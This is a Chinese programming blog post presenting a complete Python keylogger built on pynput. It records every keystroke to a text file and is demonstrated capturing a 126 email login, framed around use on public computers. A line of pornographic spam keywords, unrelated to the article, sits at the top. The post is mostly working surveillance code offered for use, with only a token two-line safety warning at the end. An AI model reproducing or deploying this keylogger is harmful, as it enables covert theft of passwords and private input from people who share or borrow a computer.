欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python只需30行代碼就能記錄鍵盤的一舉一動

 更新時間:2021年08月19日 17:34:41   作者:LexSaints  
這篇文章主要介紹了如何用python只寫30行代碼就能記錄鍵盤的一舉一動,感興趣的同學快來看看吧,新手小白也能掌握

先看看效果

Like This↓

圖片

一、公共WiFi 公用電腦什么的

在我們日常在線上工作、玩耍時,不論開電腦、登錄淘寶、玩網(wǎng)游

統(tǒng)統(tǒng)都會用到鍵盤輸入

在幾乎所有網(wǎng)站,例如淘寶、百度、126郵箱等等

為了保護用戶信息

登錄時,輸入框都是不可見的。

但是,輸入框都在界面上隱藏,讓我們看不到,就能真正的確保萬無一失嗎?

圖片

二、鍵盤記錄器

今天介紹一種,通過鍵盤記錄的方法,獲取用戶通過鍵盤輸入的所有信息。

并實現(xiàn)獲取126郵箱的登錄用戶信息。

圖片

三、python代碼實現(xiàn)

1、安裝pynput模塊

PS C:\WINDOWS\system32> pip install pynput            Collecting pynput
  Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
     |████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>

圖片

2、腳本完整代碼

# -*- coding:utf-8 -*-  
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
    string = str(key).replace("'","")


def on_release(key):
    global keys
    string = str(key).replace("'","")
    keys.append('\r'+string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []    
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

3、啟動腳本

將腳本放置在電腦的某個路徑下,運行該程序;所有的鍵盤輸入,都會被記錄在相同目錄下的keys.txt文檔中。

PS D:\test> python .\keyRecord.py

圖片

4、登錄126郵箱 抓取用戶信息

在腳本運行狀態(tài)下,登錄126郵箱,可以看到,通過鍵盤輸入的信息都被寫入到了keys.txt文檔中,包括用戶名輸完之后的tab按鈕和確定enter登錄按鈕

圖片

四、安全提示

陌生WiFi不要隨便連

陌生電腦不要隨便用

emmmm~~~~

到此這篇關于python只需30行代碼就能記錄鍵盤的一舉一動的文章就介紹到這了,更多相關python記錄鍵盤內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論